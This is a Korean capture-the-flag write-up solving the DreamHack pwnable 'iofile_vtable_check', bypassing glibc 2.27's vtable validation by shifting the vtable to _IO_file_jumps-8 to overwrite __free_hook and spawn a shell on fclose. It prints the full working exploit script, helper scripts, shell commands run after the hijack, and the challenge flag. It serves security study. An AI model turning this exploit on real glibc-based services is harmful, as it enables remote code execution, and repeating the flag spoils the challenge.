[🥇 Gold 3] IO_FILE vtable 검증을 8바이트로 비껴가기 — DreamHack iofile_vtable_check 풀이

2026-10-12·1분 읽기·

[🥇 Gold 3] IO_FILE vtable 검증을 8바이트로 비껴가기 — DreamHack iofile_vtable_check 풀이

단 39줄짜리 pwnable. fopen 으로 받은 FILE 구조체를 통째로 위조해 fclose 한 번으로 셸을 잡는다. 고전 _IO_str_jumps 경로가 패치로 죽어 있어, vtable 을 _IO_file_jumps 에서 8바이트만 밀어 SYSWRITE 슬롯을 _IO_file_read 로 바꾸는 "함수 포인터를 하나도 안 쓰는" 경로로 돌파했다.

문제: DreamHack — iofile_vtable_check 분류: pwnable 난이도: 🥇 Gold 3 FLAG: DH{5b042802448cd05f035aed55f8e7af0b}

소스가 39줄뿐인 문제다. fopen("/dev/urandom") 으로 받은 FILE 포인터에 read(0, fp, 300) 로 300바이트를 그대로 덮어쓸 수 있고, 그 직후 fclose(fp) 가 호출된다. IO_FILE 공격의 교과서 같은 설정인데, 함정이 하나 더 있다 — 라이브 서버의 glibc 가 고전 풀이를 막는 방향으로 바뀌어 있었다.

file extracted/iofile_vtable_check; pwn checksec extracted/iofile_vtable_check
file 과 pwn checksec 으로 확인한 바이너리 보호기법 — amd64, Partial RELRO, No canary, NX enabled, No PIE(0x400000), not stripped
file 과 pwn checksec 으로 확인한 바이너리 보호기법 — amd64, Partial RELRO, No canary, NX enabled, No PIE(0x400000), not stripped

No-PIE 라 바이너리 영역(0x400000)의 주소는 고정이다. 전역 fp 포인터가 0x6010a0 에 박혀 있다는 뜻이고, 이건 나중에 중요해진다.


문제 개요

항목내용
문제명iofile_vtable_check
난이도🥇 Gold 3
분류pwnable (IO_FILE)
제공 파일 / 서버iofile_vtable_check, libc.so.6 / 라이브 VM
보호기법Partial RELRO · No canary · NX · No PIE
libcUbuntu glibc 2.27-3ubuntu1
핵심 취약점 / 기법FILE 구조체 통째 위조 → fclose 로 임의쓰기 → __free_hook

흐름은 짧다. stdout 주소를 흘려 받아 libc 베이스를 구하고, 위조한 FILE 을 흘려 넣고, fclose 가 그 위조본을 처리하게 만든다. 문제는 "어떤 vtable 경로로 코드 실행을 얻느냐"이고, 여기서 라이브 libc 의 패치 상태가 풀이를 가른다.



🧩 배경 — IO_FILE 와 vtable 검증

glibc 의 FILE 은 실제로는 struct _IO_FILE_plus 다. 구조체 맨 끝(+0xd8)에 vtable 포인터가 붙어 있고, fread·fwrite·fclose 같은 함수는 전부 이 vtable 의 슬롯을 간접 호출한다. 그래서 FILE 을 통째로 제어할 수 있으면, vtable 을 가짜로 바꿔 임의 함수를 부르는 게 고전적인 공격이었다.

glibc 2.24 부터는 이걸 막으려고 IO_validate_vtable 이 들어왔다. 간접 호출 직전에 "이 vtable 포인터가 __libc_IO_vtables 섹션 안을 가리키는가"를 검사하고, 벗어나면 __fortify_fail 로 죽인다. 즉 힙이나 스택에 가짜 vtable 을 올려 바로 함수 포인터를 심는 길은 막혔다.

그런데 이 검사는 "섹션 범위 안인가"만 본다. __libc_IO_vtables 안에는 _IO_file_jumps, _IO_str_jumps, _IO_wfile_jumps 같은 진짜 vtable 들이 여러 개 나란히 들어 있다. 그래서 "섹션 안의 다른 vtable 로 바꿔치기"는 검사를 통과한다. 이 문제의 이름 iofile_vtable_check 가 가리키는 게 바로 이 검증이다.


🔬 코드 정찰

제공된 소스 전문이다.

// gcc -o vtable_bypass vtable_bypass.c -no-pie
FILE * fp;
 
int main()
{
    initialize();                       // setvbuf(stdin/stdout, _IONBF), alarm(60)
 
    fp = fopen("/dev/urandom", "r");
    printf("stdout: %p\n", stdout);     // ← libc leak 을 공짜로 준다
    printf("Data: ");
    read(0, fp, 300);                   // ← FILE 구조체 300바이트 통째 위조
 
    if (*(long*)((char*) fp + 0xe0) != 0)   // ← 가드
    {
        exit(0);
    }
 
    fclose(fp);                         // ← 위조본을 처리
}

제어권을 정리하면 이렇다.

  • printf("stdout: %p") 로 libc 주소가 공짜로 샌다. stdout 은 _IO_2_1_stdout_ 이고 이 심볼의 오프셋(0x3ec760)은 2.27 계열에서 고정이라, 한 줄로 libc 베이스가 나온다.
  • read(0, fp, 300) 으로 FILE 의 앞 300바이트(_flags ~ _mode + vtable + 0xe0)를 전부 내 값으로 채운다.
  • *(long*)(fp + 0xe0) != 0 이면 exit(0). 0xe0 은 원본 struct locked_FILE 의 _lock 자리인데, 반드시 0 으로 채워야 fclose 까지 간다.
  • fclose(fp) — 여기가 유일한 트리거다.

노릴 곳은 분명하다. fclose 가 위조된 vtable 을 통해 뭔가를 호출하게 만들어야 한다. 그런데 IO_validate_vtable 이 살아 있으니 가짜 vtable 을 힙에 올릴 수는 없다. __libc_IO_vtables 안의 진짜 vtable 중 하나를 골라야 한다.


💣 핵심 — vtable 을 8바이트만 민다

고전 풀이는 _IO_str_jumps 를 vtable 로 쓰는 것이다. _IO_str_finish 가 _IO_strfile 구조체 안의 _s._free_buffer 함수 포인터를 간접 호출하는데, 그 자리에 system, 인자 자리에 /bin/sh 를 넣으면 셸이 떴다. _IO_str_jumps 도 __libc_IO_vtables 안이라 검증을 통과한다.

그런데 이 경로가 라이브 서버에서 조용히 죽어 있었다. (자세한 삽질은 아래 토글에 정리했다.) Ubuntu 가 보안 백포트로 _IO_str_finish 의 간접 호출을 call free@plt 로 바꾼 빌드가 돌던 시기가 있었고, 그 경우 _s._free_buffer 를 심어도 아무 일도 일어나지 않는다.

그래서 FILE 안의 함수 포인터를 하나도 안 쓰는 경로가 필요했다. 아이디어는 한 줄이다 — vtable 을 _IO_file_jumps 에서 8바이트만 민다.

_IO_jump_t 는 함수 포인터 배열이다. _IO_do_write 는 데이터를 내보낼 때 vtable + 0x78 슬롯(_IO_SYSWRITE)을 부른다. vtable 을 -8 하면 배열 전체가 한 칸씩 밀려서, +0x78 자리에 원래 +0x70 슬롯(_IO_SYSREAD = _IO_file_read)이 올라온다.

# vtable_offsets.py — _IO_file_jumps 를 8바이트 밀면 SYSWRITE 슬롯에 _IO_file_read 가 온다.
import struct
from pwn import ELF
 
e = ELF("extracted/libc.so.6", checksec=False)
data = open("extracted/libc.so.6", "rb").read()
rev = {v: k for k, v in e.symbols.items()}
 
fj = e.symbols["_IO_file_jumps"]
sec = next(s for s in e.sections if s.name == "__libc_IO_vtables")
lo, hi = sec.header.sh_addr, sec.header.sh_addr + sec.header.sh_size
 
def foff(va):
    for seg in e.segments:
        h = seg.header
        if h.p_type == "PT_LOAD" and h.p_vaddr <= va < h.p_vaddr + h.p_filesz:
            return h.p_offset + va - h.p_vaddr
 
def slot(va):
    return struct.unpack("<Q", data[foff(va):foff(va) + 8])[0]
 
print("__libc_IO_vtables : 0x%06x .. 0x%06x" % (lo, hi))
print("_IO_file_jumps    : 0x%06x" % fj)
print("vtable  (shift -8): 0x%06x   (여전히 섹션 안 → IO_validate_vtable 통과)" % (fj - 8))
print()
print("_IO_do_write 가 부르는 슬롯은 vtable + 0x78 (_IO_SYSWRITE)")
print("  정상 vtable: *(0x%06x + 0x78) = 0x%06x  %s" % (fj, slot(fj + 0x78), rev.get(slot(fj + 0x78), "")))
print("  밀린 vtable: *(0x%06x + 0x78) = 0x%06x  %s" % (fj - 8, slot(fj - 8 + 0x78), rev.get(slot(fj - 8 + 0x78), "")))
print()
print("→ SYSWRITE(fp, _IO_write_base, n) 가 _IO_file_read 로 바뀐다")
print("  = read(fp->_fileno, _IO_write_base, n)  ⇒ 임의 주소 쓰기")
python3 vtable_offsets.py
vtable_offsets.py 출력 — _IO_file_jumps 의 +0x78 슬롯은 _IO_file_write 지만, 8바이트 민 vtable 의 +0x78 은 _IO_file_read 가 된다. 둘 다 __libc_IO_vtables 섹션 안이라 vtable 검증을 통과한다
vtable_offsets.py 출력 — _IO_file_jumps 의 +0x78 슬롯은 _IO_file_write 지만, 8바이트 민 vtable 의 +0x78 은 _IO_file_read 가 된다. 둘 다 __libc_IO_vtables 섹션 안이라 vtable 검증을 통과한다

밀린 vtable(0x3e8298)은 여전히 __libc_IO_vtables(0x3e7760~0x3e84c8) 안이라 IO_validate_vtable 을 통과한다. 그리고 _IO_SYSWRITE 자리에는 _IO_file_read 가 올라온다. "내보내는 write"가 "받아 적는 read"로 바뀌는 것이다.

_IO_do_write 를 직접 디스어셈해 보면 이 간접 호출과 인라인 검증이 한눈에 보인다.

objdump -d extracted/libc.so.6 --start-address=0x8ceb4 --stop-address=0x8cf52 | sed -f annot_dowrite.sed
objdump 로 본 _IO_do_write — 앞머리에서 __libc_IO_vtables 의 하한과 상한을 lea 로 적재해 fp 의 vtable 이 범위 안인지 cmp 와 jbe 로 검사하고, 통과하면 call 0x78 로 SYSWRITE 슬롯을 간접 호출한다
objdump 로 본 _IO_do_write — 앞머리에서 __libc_IO_vtables 의 하한과 상한을 lea 로 적재해 fp 의 vtable 이 범위 안인지 cmp 와 jbe 로 검사하고, 통과하면 call 0x78 로 SYSWRITE 슬롯을 간접 호출한다

함수 앞머리에서 lea ... # 3e7760 과 lea ... # 3e84c8 로 섹션 경계를 잡고, cmp %rax,%rbp; jbe 로 vtable 이 범위 안인지 검사한다. 이게 인라인된 IO_validate_vtable 이다. 통과하면 0x8cf4d 의 call *0x78(%r14) — 우리가 노리는 _IO_SYSWRITE 간접 호출이다.

정적 분석만으로는 미심쩍으니 gdb 로도 확인했다.

# verify_syswrite.gdb
set pagination off
set confirm off
set disable-randomization on
start
printf "=== _IO_do_write 의 SYSWRITE 간접호출 ===\n"
x/3i _IO_do_write+0xa7
printf "\n=== 정상 vtable: *(_IO_file_jumps + 0x78) ===\n"
x/a (char*)&_IO_file_jumps+0x78
printf "\n=== 밀린 vtable: *((_IO_file_jumps-8) + 0x78) ===\n"
x/a (char*)&_IO_file_jumps-8+0x78
quit
gdb -q -batch -x verify_syswrite.gdb ./local16/iofile_vtable_check 2>/dev/null
gdb -batch 로 런타임 확인 — call *0x78(%r14) 가 SYSWRITE 간접호출이고, _IO_file_jumps+0x78 은 _IO_file_write 지만 (_IO_file_jumps-8)+0x78 은 _IO_file_read 로 해석된다. 8바이트 밀기만으로 write 슬롯이 read 로 바뀐다
gdb -batch 로 런타임 확인 — call *0x78(%r14) 가 SYSWRITE 간접호출이고, _IO_file_jumps+0x78 은 _IO_file_write 지만 (_IO_file_jumps-8)+0x78 은 _IO_file_read 로 해석된다. 8바이트 밀기만으로 write 슬롯이 read 로 바뀐다

이제 _IO_SYSWRITE(fp, _IO_write_base, n) 가 read(fp->_fileno, _IO_write_base, n) 이 된다. _fileno·_IO_write_base·n 은 전부 우리가 채운 FILE 필드다. 즉 원하는 주소에, stdin 에서 보낸 값을, 원하는 길이만큼 쓸 수 있다.

목표는 __free_hook 에 system 을 받아 적는 것이다. 그러면 fclose 가 조금 더 진행해 _IO_unsave_markers → _IO_free_backup_area 에서 free(fp->_IO_save_base) 를 부르는데, _IO_save_base 에 /bin/sh 주소를 미리 넣어 두면 free("/bin/sh") = system("/bin/sh") 가 된다.

fclose 호출 체인 다이어그램 — _IO_file_close_it 과 _IO_do_write 를 거쳐 call vtable+0x78 이 _IO_file_read 로 바뀌어 read 로 free_hook 에 쓰고, 이어 free(save_base) 가 셸을 띄우는 흐름이다
fclose 호출 체인 다이어그램 — _IO_file_close_it 과 _IO_do_write 를 거쳐 call vtable+0x78 이 _IO_file_read 로 바뀌어 read 로 free_hook 에 쓰고, 이어 free(save_base) 가 셸을 띄우는 흐름이다

핵심은 이 경로가 함수 포인터를 하나도 안 거친다는 점이다. _IO_file_read 는 vtable 슬롯이지만 우리가 심은 값이 아니라 libc 안의 진짜 함수다. _IO_str_finish 의 _s._free_buffer 같은 "FILE 안의 포인터를 부르는" 코드가 전혀 없어서, Ubuntu 가 그걸 패치했든 안 했든 그대로 동작한다.



🐛 삽질 — 라이브 libc 가 두 번 바뀌어 있었다

이 문제가 이틀 연속 VM 크레딧을 전부 태운 게 전부 libc 버전 추적 때문이었다. 과정을 토글에 정리해 둔다.

▶🐛 삽질 1 — 고전 풀이가 라이브에서만 조용히 죽었다

로컬 배포본(2.27-3ubuntu1)에서는 고전 _IO_str_jumps → _s._free_buffer 풀이가 첫 시도에 셸을 줬다. 그런데 라이브 서버에서는 똑같은 페이로드가 아무 출력 없이 EOF 로 끝났다. leak 은 완벽했고(stdout 하위 12비트 0x760, 베이스 페이지 정렬), fclose 까지 도달하는 것도 오라클로 확인했는데 코드 실행만 안 됐다.

원격 libc 를 통째로 떠서 비교했더니 2.27-3ubuntu1.6 이었다. _IO_str_finish 를 디스어셈하니 배포본의 call *0xe8(%rbx)(= _s._free_buffer 간접 호출)가 call free@plt 로 바뀌어 있었다.

bash strfinish_diff.sh   # 두 판의 _IO_str_finish 를 objdump 로 나란히 본다
두 libc 판의 _IO_str_finish 디스어셈 비교 — 배포판 2.27-3ubuntu1 은 0x90312 에서 call *0xe8(%rbx) 로 FILE 안 포인터를 간접 호출하지만, 패치판 1.6 은 같은 함수가 0x902c8 에서 call free@plt 로 바뀌어 있다. 고전 풀이의 간접 호출이 사라졌다
두 libc 판의 _IO_str_finish 디스어셈 비교 — 배포판 2.27-3ubuntu1 은 0x90312 에서 call *0xe8(%rbx) 로 FILE 안 포인터를 간접 호출하지만, 패치판 1.6 은 같은 함수가 0x902c8 에서 call free@plt 로 바뀌어 있다. 고전 풀이의 간접 호출이 사라졌다

Ubuntu 가 _IO_str_fields 간접 호출을 제거하는 보안 백포트를 넣은 빌드였다. 고전 풀이가 원천적으로 불가능했던 것이다.

▶🐛 삽질 2 — _IO_wide_data 경로도 전부 막혀 있었다

함수 포인터를 쓰는 다른 통로를 찾아 _IO_wfile_jumps 의 _wide_vtable(2.27 에서는 wd+0x130, 0xe0 이 아니다) 호출을 노렸다. House of Apple 계열이다. 그런데 *(wd+0x130) 이 우리 버퍼를 가리키게 하려면 _wide_data 를 놓을 자리가 고정 주소 두 곳(바이너리 전역 fp=0x6010a0, libc _IO_list_all)뿐인데, 하나는 .dynamic 한복판(GNU_RELRO 라 쓰면 SEGV), 하나는 _nl_global_locale(게이트 탈락 + free(libc주소) abort)이라 둘 다 못 넘었다.

결국 __libc_IO_vtables 전체에서 "FILE 안의 0xe0/0xe8 포인터를 부르는" 코드를 전수조사했더니 패치 빌드엔 0곳이었다. 그래서 함수 포인터를 아예 안 쓰는 _IO_file_jumps-8 SYSWRITE 경로로 선회했고, 패치본 복제환경에서 셸을 잡았다.

▶🐛 삽질 3 — 발사 직전 libc 가 배포본으로 되돌아갔다

SYSWRITE 익스를 들고 라이브에 쐈는데 또 EOF 였다. leak 은 멀쩡했다. 마지막 크레딧으로 leak_file.py(fd1 write 로 임의 주소를 읽는 도구, 패치·오프셋 무관)로 libc 배너를 떴더니 Ubuntu GLIBC 2.27-3ubuntu1 — 8월의 패치판 1.6 이 아니라 배포 기본판 으로 되돌아가 있었다.

두 판은 system·/bin/sh 오프셋이 0x20 씩 다르다. 1.6 오프셋으로 쏘면 __free_hook 에 system 이 아닌 엉뚱한 주소가 적혀 크래시한다. 반면 _IO_file_jumps·__free_hook·stdout 오프셋은 양 판이 같아서 leak/vtable 만 멀쩡했던 것이다.

python3 offset_diff.py   # 두 판의 핵심 오프셋 비교
두 libc 판의 핵심 오프셋 비교 출력 — system 은 배포판 0x4f440 대 패치판 0x4f420, /bin/sh 는 0x1b3e9a 대 0x1b3d88 로 0x20 씩 다르지만, __free_hook(0x3ed8e8)과 _IO_file_jumps(0x3e82a0)는 양 판이 완전히 같다
두 libc 판의 핵심 오프셋 비교 출력 — system 은 배포판 0x4f440 대 패치판 0x4f420, /bin/sh 는 0x1b3e9a 대 0x1b3d88 로 0x20 씩 다르지만, __free_hook(0x3ed8e8)과 _IO_file_jumps(0x3e82a0)는 양 판이 완전히 같다

그래서 발사 libc 를 extracted(배포판)로 고정했다. 다행히 SYSWRITE 경로는 패치와 무관한 범용본이라, 어느 판이 떠 있든 --libc 만 맞추면 그대로 통한다.

교훈은 간단하다. 라이브 환경의 libc 는 공지 없이 바뀔 수 있으니, 발사 전에 배너를 직접 확인하는 단계를 넣는 게 안전하다. 이번엔 그 확인을 leak_file.py 로 한다(아래).


🎯 익스플로잇 — 페이로드 조립

위조할 FILE 필드를 정리하면 이렇다.

위조 FILE 구조체 레이아웃 — 0x20 write_base 는 free_hook, 0x48 save_base 는 bin/sh, 0xd8 vtable 은 _IO_file_jumps-8, 0xe0 가드는 0 으로 채운다. 나머지는 전부 0 이며 stdout 유출로 주소를 계산한다
위조 FILE 구조체 레이아웃 — 0x20 write_base 는 free_hook, 0x48 save_base 는 bin/sh, 0xd8 vtable 은 _IO_file_jumps-8, 0xe0 가드는 0 으로 채운다. 나머지는 전부 0 이며 stdout 유출로 주소를 계산한다
오프셋필드값이유
0x00_flags0xfbadA800IS_FILEBUF + CURRENTLY_PUTTING + USER_LOCK. NO_WRITES·USER_BUF·IN_BACKUP·IS_APPENDING 은 0
0x10_IO_read_end__free_hook_IO_write_base 와 같아야 new_do_write 가 SYSSEEK 를 건너뛴다
0x20_IO_write_base__free_hookread() 의 목적지
0x28_IO_write_ptr__free_hook+8쓰기 길이 = 8
0x48_IO_save_base/bin/shfree() 의 인자 = system 의 인자
0x70_fileno0소켓(stdin)에서 read
0x74_flags20x20_IO_FLAGS2_NOCLOSE — SYSCLOSE 회피
0xc0_mode0좁은 문자 경로
0xd8vtable_IO_file_jumps - 8SYSWRITE 슬롯 → _IO_file_read
0xe0가드0문제의 exit(0) 가드

입력은 두 번이다. ① 300바이트 위조 FILE, ② 8바이트 system 주소. ②는 fclose 안에서 우리가 만든 read() 가 그대로 받아 __free_hook 에 적는다. 프로그램의 read(0, fp, 300) 은 정확히 300바이트만 소비하므로, 뒤에 붙인 8바이트는 소켓 버퍼에 남았다가 SYSWRITE 단계의 read 가 가져간다.

로컬 배포본 도커에서 먼저 검증했다.

python3 solve_syswrite.py 127.0.0.1 7183 --libc extracted/libc.so.6
로컬 배포 libc 2.27-3ubuntu1 도커 대상 실행 — leak 과 libc base, vtable, free_hook, system 주소를 출력하고 SHELL_OK 구분자 이후 uid 1000 iofile_vtable_check 권한과 더미 flag 가 찍힌다. 실제 챌린지 유저 권한으로 셸이 떴다
로컬 배포 libc 2.27-3ubuntu1 도커 대상 실행 — leak 과 libc base, vtable, free_hook, system 주소를 출력하고 SHELL_OK 구분자 이후 uid 1000 iofile_vtable_check 권한과 더미 flag 가 찍힌다. 실제 챌린지 유저 권한으로 셸이 떴다

uid=1000(iofile_vtable_check) — 실제 챌린지 유저 권한으로 셸이 떴다. 페이로드가 맞다.

패치판(2.27-3ubuntu1.6)에서도 같은 스크립트가 통하는지 확인했다. 원격과 바이트가 동일한 local16 복제본을 socat 으로 띄우고 쏜다.

python3 solve_syswrite.py 127.0.0.1 7186 --libc local16/libc.so.6
패치판 복제본 local16(2.27-3ubuntu1.6) 대상 실행 — system 0x4f420, /bin/sh 0x1b3d88 처럼 배포판과 다른 오프셋인데도 SHELL_OK 구분자와 함께 셸이 떠 더미 flag 를 읽는다. 고전 경로가 죽은 패치 빌드에서도 SYSWRITE 경로는 그대로 동작한다
패치판 복제본 local16(2.27-3ubuntu1.6) 대상 실행 — system 0x4f420, /bin/sh 0x1b3d88 처럼 배포판과 다른 오프셋인데도 SHELL_OK 구분자와 함께 셸이 떠 더미 flag 를 읽는다. 고전 경로가 죽은 패치 빌드에서도 SYSWRITE 경로는 그대로 동작한다

고전 _IO_str_finish 경로가 죽어 있는 패치 빌드에서도 --libc 만 바꾸면 그대로 셸이 뜬다. SYSWRITE 경로가 패치와 무관하다는 걸 양쪽에서 확인한 셈이다.



🚀 Full Exploit

최종 solve_syswrite.py 전문이다. 300바이트 FILE 과 8바이트 system 주소를 한 번에 보내 short-read 레이스를 없앴고, 셸에서 flag 를 구분자로 감싸 라이브에서도 확실히 받아온다.

#!/usr/bin/env python3
"""
iofile_vtable_check (DreamHack #57, Gold 3) — 패치된 glibc 2.27-3ubuntu1.6 에서도 통하는 풀이.
 
원격 libc 는 _IO_str_finish 의 _s._free_buffer 간접호출이 free() 로 치환된 빌드라
고전 "_IO_str_jumps -> system" 경로가 죽어 있다. 대신 FILE 안 함수포인터를 하나도 안 쓰고,
IO_validate_vtable 을 통과하는 vtable 을 8바이트만 밀어서(_IO_file_jumps - 8) 푼다.
 
  vtable = _IO_file_jumps - 8  =>  SYSWRITE 슬롯(vtable+0x78) 에 _IO_file_read 가 온다.
 
  fclose(fp)
    -> _IO_file_close_it            (_flags & 0x808 == 0x800)
       -> _IO_do_flush -> _IO_do_write -> _IO_SYSWRITE(fp, _IO_write_base, n)
          == _IO_file_read(fp, _IO_write_base, n) == read(_fileno, _IO_write_base, n)
          ==> 임의 주소 쓰기 (stdin 에서 우리가 보낸 값이 그대로 들어간다) → __free_hook = system
       -> _IO_unsave_markers -> _IO_free_backup_area -> free(fp->_IO_save_base)
          ==> __free_hook("/bin/sh") == system("/bin/sh")
 
사용:
  python3 solve_syswrite.py <host> <port> [--libc <경로>]
  python3 solve_syswrite.py --local            # local16/ (원격과 바이트 동일한 2.27-3ubuntu1.6)
"""
import argparse
import struct
import sys
import time
 
from pwn import context, process, remote, ELF
 
# _IO_2_1_stdout_ 기준 상대 오프셋 — 2.27 계열은 전부 같다(1.0/1.5/1.6 확인).
OFF_STDOUT = 0x3EC760
 
p64 = lambda x: struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)
 
# FILE 필드 오프셋 (x86_64)
F_FLAGS = 0x00
F_READ_END = 0x10
F_WRITE_BASE = 0x20
F_WRITE_PTR = 0x28
F_BUF_BASE = 0x38
F_SAVE_BASE = 0x48
F_MARKERS = 0x60
F_FILENO = 0x70
F_FLAGS2 = 0x74
F_CUR_COLUMN = 0x80
F_MODE = 0xC0
F_VTABLE = 0xD8
F_LOCK_GUARD = 0xE0  # struct locked_FILE 의 lock — 문제의 exit(0) 가드
 
# _flags: MAGIC | IS_FILEBUF(0x2000) | USER_LOCK(0x8000) | CURRENTLY_PUTTING(0x800)
#   USER_BUF(0x1)·NO_WRITES(0x8)·IN_BACKUP(0x100)·IS_APPENDING(0x1000) 은 전부 0 이어야 한다.
FLAGS = 0xFBAD0000 | 0x2000 | 0x8000 | 0x800
 
 
def build_payload(libc_base, sym):
    """300바이트 FILE 위조본을 만든다."""
    free_hook = libc_base + sym["__free_hook"]
    binsh = libc_base + sym["binsh"]
    vtable = libc_base + sym["_IO_file_jumps"] - 8
 
    buf = bytearray(300)
 
    def put(off, val):
        buf[off:off + 8] = p64(val)
 
    put(F_FLAGS, FLAGS)
    # _IO_read_end == _IO_write_base 여야 new_do_write 가 _IO_SYSSEEK 를 건너뛴다.
    put(F_READ_END, free_hook)
    put(F_WRITE_BASE, free_hook)
    put(F_WRITE_PTR, free_hook + 8)  # 쓰기 길이 = 8
    put(F_BUF_BASE, 0)
    put(F_SAVE_BASE, binsh)          # free(save_base) 의 인자 = system 의 인자
    put(F_MARKERS, 0)
    buf[F_FILENO:F_FILENO + 4] = struct.pack("<i", 0)      # stdin = 소켓
    buf[F_FLAGS2:F_FLAGS2 + 4] = struct.pack("<I", 0x20)   # _IO_FLAGS2_NOCLOSE
    buf[F_CUR_COLUMN:F_CUR_COLUMN + 2] = b"\x00\x00"       # _IO_adjust_column 회피
    buf[F_MODE:F_MODE + 4] = struct.pack("<i", 0)          # 좁은 문자 경로
    put(F_VTABLE, vtable)
    put(F_LOCK_GUARD, 0)             # 가드: 여기가 0 이 아니면 exit(0)
    return bytes(buf), free_hook, binsh, vtable
 
 
def libc_symbols(path):
    e = ELF(path, checksec=False)
    data = open(path, "rb").read()
    idx = data.find(b"/bin/sh\x00")
    binsh = None
    for seg in e.segments:
        if seg.header.p_type == "PT_LOAD" and seg.header.p_offset <= idx < seg.header.p_offset + seg.header.p_filesz:
            binsh = seg.header.p_vaddr + idx - seg.header.p_offset
            break
    return {
        "_IO_2_1_stdout_": e.symbols["_IO_2_1_stdout_"],
        "_IO_file_jumps": e.symbols["_IO_file_jumps"],
        "__free_hook": e.symbols["__free_hook"],
        "system": e.symbols["system"],
        "binsh": binsh,
    }
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("host", nargs="?")
    ap.add_argument("port", nargs="?", type=int)
    ap.add_argument("--libc", default="local16/libc.so.6")
    ap.add_argument("--local", action="store_true", help="local16/iofile_vtable_check 를 직접 실행")
    args = ap.parse_args()
 
    context.log_level = "info"
    sym = libc_symbols(args.libc)
 
    io = process("./local16/iofile_vtable_check") if args.local else remote(args.host, args.port)
 
    io.recvuntil(b"stdout: ")
    leak = int(io.recvline().strip(), 16)
    libc_base = leak - sym["_IO_2_1_stdout_"]
    print("[*] stdout   = 0x%x" % leak)
    print("[*] libc base= 0x%x" % libc_base)
    if libc_base & 0xFFF:
        print("[!] libc base 가 페이지 정렬이 아니다 — libc 버전이 다르다")
        return 1
 
    payload, free_hook, binsh, vtable = build_payload(libc_base, sym)
    print("[*] vtable   = 0x%x  (_IO_file_jumps-8, __libc_IO_vtables 안)" % vtable)
    print("[*] __free_hook = 0x%x  <- read(0, here, 8)" % free_hook)
    print("[*] /bin/sh  = 0x%x  <- free() 인자" % binsh)
    print("[*] system   = 0x%x" % (libc_base + sym["system"]))
 
    io.recvuntil(b"Data: ")
    # 1단계 FILE(300B) + 2단계 system 주소(8B)를 한 번에 보낸다.
    # 프로그램의 read(0,fp,300) 은 정확히 300B 만 소비하고, 남은 8B 는 커널 소켓
    # 버퍼에 남아 fclose 안의 SYSWRITE→read(0,__free_hook,8) 가 바로 가져간다.
    # 두 번의 send 사이 네트워크 지연에 의한 short-read 레이스를 없앤다.
    io.send(payload + p64(libc_base + sym["system"]))
 
    time.sleep(0.5)
    # 셸에서 flag 를 확실히 받아온다. 구분자로 감싸 라이브에서도 놓치지 않게.
    io.sendline(b"echo ===SHELL_OK===; id; cat /flag* flag* /home/*/flag* 2>/dev/null; echo ===END===")
    try:
        out = io.recvuntil(b"===END===", timeout=5)
    except Exception:
        out = b""
    if out:
        try:
            print(out.decode(errors="replace"))
        except Exception:
            print(repr(out))
    # 그래도 남은 출력이 있으면 마저 긁는다
    try:
        rest = io.recv(timeout=1)
        if rest:
            print(rest.decode(errors="replace"))
    except Exception:
        pass
    try:
        io.interactive()
    except Exception:
        pass
    return 0
 
 
if __name__ == "__main__":
    sys.exit(main())

발사 전에 현재 라이브 libc 가 어느 판인지 배너부터 확인한다. leak_file.py 는 같은 SYSWRITE 아이디어를 "_fileno=1 로 둬서 fd 1 에 write" 하는 버전이라, 패치·오프셋과 무관하게 임의 주소를 읽어 온다.

python3 leak_file.py host3.dreamhack.games 15486 leak-0x3ec760+0x1bb800 0x90
leak_file.py 로 라이브 서버의 libc 배너를 직접 덤프 — stdout leak 기준 오프셋에서 읽으니 Ubuntu GLIBC 2.27-3ubuntu1 배너가 그대로 나온다. 패치판 1.6 이 아니라 배포 기본판이라 extracted 로 쏴야 한다
leak_file.py 로 라이브 서버의 libc 배너를 직접 덤프 — stdout leak 기준 오프셋에서 읽으니 Ubuntu GLIBC 2.27-3ubuntu1 배너가 그대로 나온다. 패치판 1.6 이 아니라 배포 기본판이라 extracted 로 쏴야 한다

배너가 Ubuntu GLIBC 2.27-3ubuntu1 — 배포 기본판이다. 그래서 --libc extracted/libc.so.6 로 발사한다.

python3 solve_syswrite.py host3.dreamhack.games 15486 --libc extracted/libc.so.6
라이브 서버 host3.dreamhack.games 포트 15486 대상 발사 — leak 과 주소 출력 후 SHELL_OK 구분자와 uid 1000 iofile_vtable_check 권한, 그리고 실제 flag 가 한 줄로 찍힌다. 순차 발사로 서버를 죽이지 않고 한 번에 셸을 잡았다
라이브 서버 host3.dreamhack.games 포트 15486 대상 발사 — leak 과 주소 출력 후 SHELL_OK 구분자와 uid 1000 iofile_vtable_check 권한, 그리고 실제 flag 가 한 줄로 찍힌다. 순차 발사로 서버를 죽이지 않고 한 번에 셸을 잡았다

셸이 떴고 cat 이 실제 flag 를 뱉었다.

DH{5b042802448cd05f035aed55f8e7af0b}


📝 결론

IO_FILE 공격에서 vtable 검증은 "다른 vtable 로의 교체"를 막지 못한다.

IO_validate_vtable 은 포인터가 __libc_IO_vtables 섹션 안인지만 본다. 그 안에는 여러 vtable 이 나란히 있어서, 정렬 경계를 무시하고 _IO_file_jumps-8 처럼 8바이트 어긋난 지점을 가리켜도 검사를 통과한다. 슬롯이 한 칸 밀리면 write 가 read 로 바뀌고, 그 순간 "출력 함수"가 "임의 주소 쓰기"로 둔갑한다.

함수 포인터를 안 거치는 경로가 패치에 강하다.

고전 _IO_str_finish 풀이는 FILE 안의 _s._free_buffer 를 부르기 때문에, Ubuntu 가 그 간접 호출을 free@plt 로 바꾸자 그대로 죽었다. 반면 SYSWRITE 경로는 libc 안의 진짜 _IO_file_read 만 쓰고 우리가 심은 포인터를 호출하지 않는다. 그래서 패치본·배포본 양쪽에서 똑같이 동작하는 범용 익스가 됐다.

라이브 환경의 libc 는 바뀐다.

같은 문제가 2.27-3ubuntu1.6 → 2.27-3ubuntu1 로 되돌아가는 걸 겪었다. system 오프셋이 0x20 만 달라도 __free_hook 에 엉뚱한 값이 적혀 조용히 크래시한다. 발사 전에 leak_file.py 같은 패치 무관 primitive 로 배너를 확인하는 한 단계가, 맹목적 재발사로 크레딧을 태우는 것보다 훨씬 싸다.

방어 쪽에서 보면, 이 문제의 근본 원인은 "사용자 입력으로 FILE 구조체를 통째로 덮을 수 있다"는 것 하나다. fopen 이 돌려준 포인터에 read 로 300바이트를 쓰게 두는 설계 자체가 치명적이고, vtable 검증은 어디까지나 완화책일 뿐 이런 완전 제어 앞에서는 8바이트 한 번으로 비껴갈 수 있다.

이 글이 도움이 됐나요?

Comments

댓글

0개

